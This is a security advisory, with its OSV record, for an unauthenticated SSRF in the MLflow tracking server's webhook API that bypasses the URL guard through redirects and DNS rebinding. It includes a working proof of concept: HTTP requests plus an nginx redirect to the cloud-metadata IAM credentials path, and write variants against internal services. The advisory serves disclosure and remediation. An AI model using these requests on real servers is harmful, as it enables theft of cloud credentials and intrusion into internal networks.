The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details

Three facts combine:

  1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/__init__.py, WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default.

  2. The guard validates but pins nothing — mlflow/utils/validation.py _validate_webhook_url:

schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
    for addr_info in socket.getaddrinfo(hostname, None):
        ip = ipaddress.ip_address(addr_info[4][0])
        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

The resolved IP is never carried into the connection.

  1. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

test_webhook returns response_status and response_body to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC

All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

image

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}

image

Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:

POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"response_status":200,
        "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

image

Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "response_body":"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\nrole=admin\n"

For convenience, the "my secret data" is saved in the same location.

image

Notes: - Webhook events enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase maps to ENTITY_UNSPECIFIED and 500s. - Default allowed scheme is https only; the first hop must be https, the redirect Location may be http. - Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.

  • Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.

Impact

An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).

Fix

Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.

Redirect variants

The same missing re-validation enables two distinct primitives depending on the redirect status code:

  • 302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.response_body), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).
  • 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /_close, Spring Boot Actuator /shutdown).

Neither requires authentication on a default OSS server.

Then add a fix reference near the top or in a "Remediation" note:

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-64849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T21:58:51Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing \u2014 `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False\n    for addr_info in socket.getaddrinfo(hostname, None):\n        ip = ipaddress.ip_address(addr_info[4][0])\n        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning \u2014 mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning\n    ...\ndef _send_webhook_request(webhook, payload, event, session):\n    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only\n    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n    # no allow_redirects=False  -\u003e 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker\u0027s allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n    nginx:  location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 \u2014 negative control (proves the guard is active; the naive internal URL is rejected):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 400 {\"message\":\"Invalid webhook URL scheme: \u0027http\u0027. Allowed schemes are: https.\"}\n    (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\u003cimg width=\"1154\" height=\"437\" alt=\"image\" src=\"https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019\" /\u003e\n\n\nStep 1 \u2014 create a webhook pointing at the attacker\u0027s public HTTPS host (passes _validate_webhook_url):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 200 {\"webhook\":{\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\", ... ,\"status\":\"ACTIVE\"}}\n\n\u003cimg width=\"1394\" height=\"520\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d\" /\u003e\n\n\nStep 2 \u2014 fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n    POST /api/2.0/mlflow/webhooks/\u003cWEBHOOK_ID\u003e/test HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n    -\u003e 200 {\"result\":{\"success\":true,\"response_status\":200,\n            \"response_body\":\"\u003ccontents of http://169.254.169.254/latest/meta-data/... fetched by the server\u003e\"}}\n\n\u003cimg width=\"1399\" height=\"453\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc\" /\u003e\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n    \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nFor convenience, the \"my secret data\" is saved in the same location.\n\n\u003cimg width=\"730\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c\" /\u003e\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n  maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:",
  "id": "GHSA-7gwp-5pfp-969j",
  "modified": "2026-08-17T21:58:51Z",
  "published": "2026-08-17T21:58:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/issues/24179"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/pull/24258"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.